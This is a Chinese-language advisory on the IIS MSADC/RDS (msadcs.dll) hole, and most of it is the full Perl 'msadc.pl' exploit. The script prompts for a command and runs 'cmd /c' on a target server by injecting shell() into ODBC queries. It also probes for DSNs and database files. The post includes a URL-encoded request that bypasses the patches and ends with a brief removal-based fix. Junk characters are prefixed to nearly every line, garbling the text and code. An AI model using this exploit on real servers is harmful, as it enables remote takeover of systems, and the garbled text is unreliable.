IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Y01! D"{\ 23L>)Q 涉及程序：
O |P <s+ Microsoft NT server
+8N6tw/& !^su=c 描述：
=VuSi(d;e{ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
At=d//5FFP H#;*kc
a4 详细：
C,l,fT 如果你没有时间读详细内容的话，就删除:
=tt3 nfZ9 c:\Program Files\Common Files\System\Msadc\msadcs.dll
hd9HM5{p 有关的安全问题就没有了。
ztSQrDbbb4 9A B U^ig 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
HV/:OCK P o @;PR= 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
=r ^_D= 关于利用ODBC远程漏洞的描述，请参看:
|R@T`dW o68i0aFW http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm T
pF [-fO EC,`t*< 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
MU
a[}? http://www.microsoft.com/security/bulletins/MS99-025faq.asp QE[<Y 3M .aY $-Y < 这里不再论述。
!KK `+ 9/ c5W MN.z 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
p l&nr7\ Uz! 3){E /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Jk\-e` eE 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
#d\&6'O H@xS<=:lM 3_XLx{["' #将下面这段保存为txt文件，然后: "perl -x 文件名"
HBE[ q# bT2G
G #!perl
nD*iSb* #
uWdF7|PN7 # MSADC/RDS 'usage' (aka exploit) script
04|ZwX$>+ #
65~E<)UJ # by rain.forest.puppy
3[fm| aU #
/CsP@f_Gw # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
7<WS@-2I# # beta test and find errors!
1 ;=L ]
L? % mT/y%&: use Socket; use Getopt::Std;
<L qJg getopts("e:vd:h:XR", \%args);
g3NUw/]# $ -1ajSVJ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ye$_=KARP <6 Rec^QF if (!defined $args{h} && !defined $args{R}) {
ANu>* print qq~
^)>( <6 Usage: msadc.pl -h <host> { -d <delay> -X -v }
PtW2S 1?j -h <host> = host you want to scan (ip or domain)
r4 *H96l -d <seconds> = delay between calls, default 1 second
`K.B` -X = dump Index Server path table, if available
!X-\;3kC0 -v = verbose
C'$}{%Cc@$ -e = external dictionary file for step 5
J3
Q_ k Mch Or a -R will resume a command session
v~L\[&| _
FJ~d&L\l ~; exit;}
lF}@ @e)N @L!^2 v $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
gp`@dn'; if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;(`bP if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
m1%rm-M if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Yt(FSb31H $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
3i!a\N4 K if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
`X@\ Zv=} xc}[q`vK if (!defined $args{R}){ $ret = &has_msadc;
6Oy:5Ps8a die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
6;'[v}O^^ P knOeW"j print "Please type the NT commandline you want to run (cmd /c assumed):\n"
X|hY ZR . "cmd /c ";
LQPQ !):; $in=<STDIN>; chomp $in;
R'c dEoy $command="cmd /c " . $in ;
M+
%O-B (rBsh6@) if (defined $args{R}) {&load; exit;}
Zio ! j%G # 2_FM!e print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
u5}:[4N%I &try_btcustmr;
06.%9R{ N+c|0 print "\nStep 2: Trying to make our own DSN...";
q%;cu1^"M &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
qK%N{ro[{? xQvI$ vP print "\nStep 3: Trying known DSNs...";
_j , Tc*T &known_dsn;
;
D<k [#gm[@d , print "\nStep 4: Trying known .mdbs...";
?l6yLn5si^ &known_mdb;
`S|F\mI ~
$GRw k>N if (defined $args{e}){
~wW]n tZm print "\nStep 5: Trying dictionary of DSN names...";
2Cp4 aTGv# &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Bn&P@C$7 8m
iJQIq print "Sorry Charley...maybe next time?\n";
sX~E ~$_g exit;
QZv Q8 {k.:DH) ##############################################################################
^\gb|LEnK Cu#n5SF* sub sendraw { # ripped and modded from whisker
5\quh2Q_ sleep($delay); # it's a DoS on the server! At least on mine...
Ro 2V-6 / my ($pstr)=@_;
#1 J ,!seJ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
wL),/i& < die("Socket problems\n");
@
,X/W f if(connect(S,pack "SnA4x8",2,80,$target)){
Zz E( S select(S); $|=1;
lF(v<drkB print $pstr; my @in=<S>;
}XBF#BN select(STDOUT); close(S);
cF15Mm2 return @in;
I*a@_EO } else { die("Can't connect...\n"); }}
TzaeE
p+=zl`\=| ##############################################################################
=A6*;T"W kQ\ $0=6N9 sub make_header { # make the HTTP request
?Sh]kJ O my $msadc=<<EOT
i_*yS+Z; POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
0 j!<eN= User-Agent: ACTIVEDATA
_WWC8?6 U Host: $ip
8wkhbD|; Content-Length: $clen
r[Pp [ g-J Connection: Keep-Alive
30^q_|l:] O.Pp*sQ^ ADCClientVersion:01.06
'Jf
LTG. Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
85&7WAco"B $;Fx Zkp --!ADM!ROX!YOUR!WORLD!
Xf&YcHo Content-Type: application/x-varg
M(+Pd_c6 Content-Length: $reqlen
8+w*,Ry` ]}/Rl}_ EOT
/a3 2QuS ; $msadc=~s/\n/\r\n/g;
`e'wW V return $msadc;}
FA,n> H1U$ApD ##############################################################################
bQ3<>e\%B ^O7sQ7V"f= sub make_req { # make the RDS request
j$Ndq(<tG my ($switch, $p1, $p2)=@_;
Nut&g"u2 my $req=""; my $t1, $t2, $query, $dsn;
HQ"T>xb 'm*W< if ($switch==1){ # this is the btcustmr.mdb query
u
$-&Im< $query="Select * from Customers where City=" . make_shell();
2EM6k|l5 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
[G8EX 3 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
} F{s\qUt Ox J0 . " elsif ($switch==2){ # this is general make table query
m@kLZimD $query="create table AZZ (B int, C varchar(10))";
"W+>?u ) $dsn="$p1";}
>C _G~R 3mU~G}ig elsif ($switch==3){ # this is general exploit table query
hev;M)t $query="select * from AZZ where C=" . make_shell();
Z m*d)</> $dsn="$p1";}
CJN~p]\ Nxt:U{`T ' elsif ($switch==4){ # attempt to hork file info from index server
_ }p [(sTV $query="select path from scope()";
Y({
R\W| $dsn="Provider=MSIDXS;";}
k#pO+[ x 9oc_*V0< elsif ($switch==5){ # bad query
If '2
m_ $query="select";
B \R X $dsn="$p1";}
k^ZP~.G w3q'n% $t1= make_unicode($query);
mTu>S $t2= make_unicode($dsn);
9+ 9g (6 $req = "\x02\x00\x03\x00";
\ 9`E17i $req.= "\x08\x00" . pack ("S1", length($t1));
V.
i{IW $req.= "\x00\x00" . $t1 ;
:8O T $req.= "\x08\x00" . pack ("S1", length($t2));
8:c=h/fa
$req.= "\x00\x00" . $t2 ;
pdJ]V`m $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
fD[O
tc return $req;}
>#:SJ?)`T KS(H_&j ##############################################################################
AjEy@ / (
y !o sub make_shell { # this makes the shell() statement
X>`03?L return "'|shell(\"$command\")|'";}
C)j/!+nh I\_2=mL ##############################################################################
$i +@vbU6 0^S$_L sub make_unicode { # quick little function to convert to unicode
D cBAncsK my ($in)=@_; my $out;
O0jOI3/P% for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
s tK}K- =` return $out;}
0'6ai=W d` rZgY ##############################################################################
MuMq%uDA" W2rd [W sub rdo_success { # checks for RDO return success (this is kludge)
LQ k^l` my (@in) = @_; my $base=content_start(@in);
:y7K3:d3 if($in[$base]=~/multipart\/mixed/){
P9
HKev?y return 1 if( $in[$base+10]=~/^\x09\x00/ );}
M7?ktK9`ma return 0;}
P6kD tUXF h=`$ec ##############################################################################
'i$. _Tx gk| %
4. sub make_dsn { # this makes a DSN for us
( /$-2.@ my @drives=("c","d","e","f");
Y _`JS; print "\nMaking DSN: ";
'|=Pw foreach $drive (@drives) {
?WXftzdf6u print "$drive: ";
S|| W my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
\azMF} mb "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
1_S]t[?I/ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
nZnqXclzxn $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
TO89;O return 0 if $2 eq "404"; # not found/doesn't exist
V~*> /2+ if($2 eq "200") {
( U# ,; foreach $line (@results) {
fx+_;y return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
KF#^ MEw% } return 0;}
I1m[M? R K- bsf ##############################################################################
dQSO8J f g]Y%c73 sub verify_exists {
k %gj my ($page)=@_;
Mm*V;ADF my @results=sendraw("GET $page HTTP/1.0\n\n");
mW!n%f return $results[0];}
<eM qg u V-#JV@b ##############################################################################
R iAg: rfVQX<95=/ sub try_btcustmr {
s9 "X.-! my @drives=("c","d","e","f");
.gfi9 J my @dirs=("winnt","winnt35","winnt351","win","windows");
)nf%S+KV gmH`XKi\ foreach $dir (@dirs) {
|Q)mBvvN print "$dir -> "; # fun status so you can see progress
xdbzp U
foreach $drive (@drives) {
'.z7 )n print "$drive: "; # ditto
^_3Ey $reqlen=length( make_req(1,$drive,$dir) ) - 28;
v`QDms,{ $reqlenlen=length( "$reqlen" );
x[};x;[ZE $clen= 206 + $reqlenlen + $reqlen;
Qq.$! $ b P-(N14x+ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
b-8@_@ f|g if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
0J/ yd else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
V0 {#q/q D+;4|7s+ ##############################################################################
UfPB-EFl$D 7/a7p(
sub odbc_error {
0qNmao4E_ my (@in)=@_; my $base;
wxcJ2T d H my $base = content_start(@in);
Wjq 9f; if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
]Xa]a}[uE $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;"IWm<]h;- $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Uv[a
~ ' $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
($`IHKF1.l return $in[$base+4].$in[$base+5].$in[$base+6];}
FVl,
ttW print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
p@~Y [a = print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
7.VP7;jys $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
]tu
OWR % t,42jQ9 ##############################################################################
9^g8VlQdT USEmD5 q sub verbose {
{M:/HQo my ($in)=@_;
<% 3fJt-Ie return if !$verbose;
CC!`fX6z>h print STDOUT "\n$in\n";}
Pi =FnS aWimg6 q ##############################################################################
3HXeBW V<|N}8{Z2a sub save {
ZiY2N*,VO my ($p1, $p2, $p3, $p4)=@_;
7Z:3xb&> open(OUT, ">rds.save") || print "Problem saving parameters...\n";
9\?&u_ U" print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
p*jU)@a0 close OUT;}
$]#8D>E& 5P #._Em ##############################################################################
T_2' =7 yn ofDGAf sub load {
uY)4y0 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
U%r{{Q1 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
2X' H^t]7 @p=<IN>; close(IN);
*0,*F ~n $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
"k + :!D $target= inet_aton($ip) || die("inet_aton problems");
fhZwYx&t print "Resuming to $ip ...";
::02? $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
;p*L(8<YI if($p[1]==1) {
p&Nav,9x $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
*-]k([wV $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
&u|t{C#0 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
= .S2gO > if (rdo_success(@results)){print "Success!\n";}
2u_=i$x W else { print "failed\n"; verbose(odbc_error(@results));}}
4N= , 9 elsif ($p[1]==3){
wT+60X' if(run_query("$p[3]")){
hb~d4 J=S print "Success!\n";} else { print "failed\n"; }}
=CFg~8 W elsif ($p[1]==4){
*g}==o ` if(run_query($drvst . "$p[3]")){
Z\C"/j<y print "Success!\n"; } else { print "failed\n"; }}
a9lYX*: exit;}
jN{k } yg}L,JJU< ##############################################################################
_3wJ;cn. qDswFs( sub create_table {
"K>!+< my ($in)=@_;
9{nU\am!\ $reqlen=length( make_req(2,$in,"") ) - 28;
X)]>E]X $reqlenlen=length( "$reqlen" );
!V #*(_+n $clen= 206 + $reqlenlen + $reqlen;
pHVDug3 my @results=sendraw(make_header() . make_req(2,$in,""));
/oe0 return 1 if rdo_success(@results);
W'k&DKhTqF my $temp= odbc_error(@results); verbose($temp);
5[zr(FuE return 1 if $temp=~/Table 'AZZ' already exists/;
!^L}LtqHI return 0;}
as 3uz +>it u J ##############################################################################
ZHA&gdK@ q{*[uJ}Xc" sub known_dsn {
<F_w4! # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
: /?
Op my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
/:A239=+ ? "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
gjT`<CW "banner", "banners", "ads", "ADCDemo", "ADCTest");
oIE(`l0l 2\$<&]q foreach $dSn (@dsns) {
}1CO>a< print ".";
>Gg [J=7` next if (!is_access("DSN=$dSn"));
aAoAjV NkK if(create_table("DSN=$dSn")){
1: cq\Y print "$dSn successful\n";
Y
uZ if(run_query("DSN=$dSn")){
ocW`sE?EED print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
9|>y[i print "Something's borked. Use verbose next time\n";}}} print "\n";}
(ce)A,; zXGI{P0O ##############################################################################
T2W^4) -=rGN"(M
_ sub is_access {
T;3~teVYB my ($in)=@_;
)`5-rm~* $reqlen=length( make_req(5,$in,"") ) - 28;
vA*NJ%&` $reqlenlen=length( "$reqlen" );
ZQz;EV! $clen= 206 + $reqlenlen + $reqlen;
*sfz +8Y my @results=sendraw(make_header() . make_req(5,$in,""));
!5m~qet. my $temp= odbc_error(@results);
v/KTEM verbose($temp); return 1 if ($temp=~/Microsoft Access/);
B7{j$0fm* return 0;}
5.0;xz}#y g+.E=Ef8<4 ##############################################################################
*qMj o P, k 3OnvnJb sub run_query {
>>J !| my ($in)=@_;
Z+J~moW ` $reqlen=length( make_req(3,$in,"") ) - 28;
N9 )ERW2`* $reqlenlen=length( "$reqlen" );
}?{. 'Hv0 $clen= 206 + $reqlenlen + $reqlen;
d9D*w/clMi my @results=sendraw(make_header() . make_req(3,$in,""));
5hCf i return 1 if rdo_success(@results);
DML0paOm5 my $temp= odbc_error(@results); verbose($temp);
P#A|Pn<p return 0;}
8r\xQr'8h Q"xDRQA ##############################################################################
jT QN(a9Y Pt;\]?LVrD sub known_mdb {
~ C_2D? my @drives=("c","d","e","f","g");
Q%GLT,f1. my @dirs=("winnt","winnt35","winnt351","win","windows");
^e YJ7&t my $dir, $drive, $mdb;
Xw^:<Nx: my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
DUm/0q & QQ,w:OjA0 # this is sparse, because I don't know of many
)>=|oY3 my @sysmdbs=( "\\catroot\\icatalog.mdb",
)^^}!U#|e "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
iN`L* h "\\system32\\certmdb.mdb",
ER$~kFE2yP "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
kS7T ' [d J _| >rfW my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
wVs |mG" "\\cfusion\\cfapps\\forums\\forums_.mdb",
-gS/ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
pk=z<OTb "\\cfusion\\cfapps\\security\\realm_.mdb",
M [T!AO-S$ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
p:U{3uN 62 "\\cfusion\\database\\cfexamples.mdb",
\}qv}hU "\\cfusion\\database\\cfsnippets.mdb",
] @1ncn7N "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
h"nv[0 !) "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
:\1&5Pm ] "\\cfusion\\brighttiger\\database\\cleam.mdb",
9Bmgz =8 "\\cfusion\\database\\smpolicy.mdb",
JeCEj=_Z "\\cfusion\\database\cypress.mdb",
X_|} b[b "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
}fxH>79g "\\website\\cgi-win\\dbsample.mdb",
-3b0;L&4>x "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
lu.2ZQ E "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
r?2C%GI` ); #these are just
X4*/h$48 w foreach $drive (@drives) {
Un[#zh<4 foreach $dir (@dirs){
&jPsdv h foreach $mdb (@sysmdbs) {
gzdgnF2 print ".";
8|Y^z_C if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
8 i"{GGVC print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
{gi"ktgk if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
kQBVx8Uq] print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
<~8W>Y\m } else { print "Something's borked. Use verbose next time\n"; }}}}}
tv|=` ~Y )Zm E " foreach $drive (@drives) {
Bp6Evi foreach $mdb (@mdbs) {
-XY]WWlq print ".";
(/Y
gcT if(create_table($drv . $drive . $dir . $mdb)){
&c@I4RV|q print "\n" . $drive . $dir . $mdb . " successful\n";
ZNA?`Z)f if(run_query($drv . $drive . $dir . $mdb)){
?,),%JQ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
!! K=v7M } else { print "Something's borked. Use verbose next time\n"; }}}}
uTJ?@ ^nq }
Cw^)}23R )d1,}o ##############################################################################
T@ H ozZ #QDV_ziE5 sub hork_idx {
Y2D ) $ print "\nAttempting to dump Index Server tables...\n";
>\p}UPx print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
O 1X
! $reqlen=length( make_req(4,"","") ) - 28;
Ia"bP` L $reqlenlen=length( "$reqlen" );
:3Jh f$ $clen= 206 + $reqlenlen + $reqlen;
bKaV]Uy my @results=sendraw2(make_header() . make_req(4,"",""));
SO&;]YO if (rdo_success(@results)){
EX 5kF my $max=@results; my $c; my %d;
D 7E^;W)H for($c=19; $c<$max; $c++){
| )_< JAN $results[$c]=~s/\x00//g;
T<=\5mn $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
6$5M^3$- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
2I4P":q $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Zj<T#4?8 $d{"$1$2"}="";}
) D`_V.,W foreach $c (keys %d){ print "$c\n"; }
BZ T%+s;u9 } else {print "Index server doesn't seem to be installed.\n"; }}
wb9zJAsc }w@nZG ^& ##############################################################################
Y\x
Xo? Qqaf\$X sub dsn_dict {
Qt zHr open(IN, "<$args{e}") || die("Can't open external dictionary\n");
bcE DjLXq while(<IN>){
~5#7i_%@E} $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
gddGl=rm next if (!is_access("DSN=$dSn"));
y@z #Jw< if(create_table("DSN=$dSn")){
Te 13Af~ print "$dSn successful\n";
Q& \k"X 1 if(run_query("DSN=$dSn")){
?k?Hp:8?= print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
s`2o\] print "Something's borked. Use verbose next time\n";}}}
zc( 7p;w#p print "\n"; close(IN);}
xMh&C{q cS[`1y ,\3 ##############################################################################
0nuFWV pVY.&XB Z$ sub sendraw2 { # ripped and modded from whisker
5VcYdu 3 sleep($delay); # it's a DoS on the server! At least on mine...
']NM_ 0 my ($pstr)=@_;
O#|E7; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&pAT die("Socket problems\n");
S {H8}m|MW if(connect(S,pack "SnA4x8",2,80,$target)){
w {q YP print "Connected. Getting data";
Vqr&)i"b$ open(OUT,">raw.out"); my @in;
eyWwE% select(S); $|=1; print $pstr;
3IxT2@H) while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
] 7O?c= close(OUT); select(STDOUT); close(S); return @in;
,O+7nByi[V } else { die("Can't connect...\n"); }}
G7<X l} M/qiA.C@W ##############################################################################
%"6IAt I R&u55#I6 sub content_start { # this will take in the server headers
P Th
Ya my (@in)=@_; my $c;
Ui.F<,E for ($c=1;$c<500;$c++) {
^eRuj)$5A if($in[$c] =~/^\x0d\x0a/){
WveFB%@`; if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
1 ,J. else { return $c+1; }}}
b,W '0gl return -1;} # it should never get here actually
wtKh8^:YD ( qrT0D6 ##############################################################################
9+']`=a: z=U!D `]v sub funky {
fYi!Z/Ck2 my (@in)=@_; my $error=odbc_error(@in);
)q IK7; if($error=~/ADO could not find the specified provider/){
hd B[H8Q print "\nServer returned an ADO miscofiguration message\nAborting.\n";
)Fw)&5B! exit;}
y()( 8L if($error=~/A Handler is required/){
S7vE[VF5 print "\nServer has custom handler filters (they most likely are patched)\n";
one>vi`= exit;}
GwULtRa/ if($error=~/specified Handler has denied Access/){
-iHhpD9"X print "\nServer has custom handler filters (they most likely are patched)\n";
:KLD~k7yA( exit;}}
IY&a! ;z>YwRV ##############################################################################
on\\;V_ /Q ;~J~g# sub has_msadc {
_<7FR:oBZ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
DPOPRi~ my $base=content_start(@results);
Ah`dt 8t return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
4@I]PG return 0;}
s$_#T K36B9<F ########################
g]#Wve _; {-w%Vf (YOgQ)}, 解决方案：
I .ty-X] 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
z"#.o^5 2、移除web 目录: /msadc
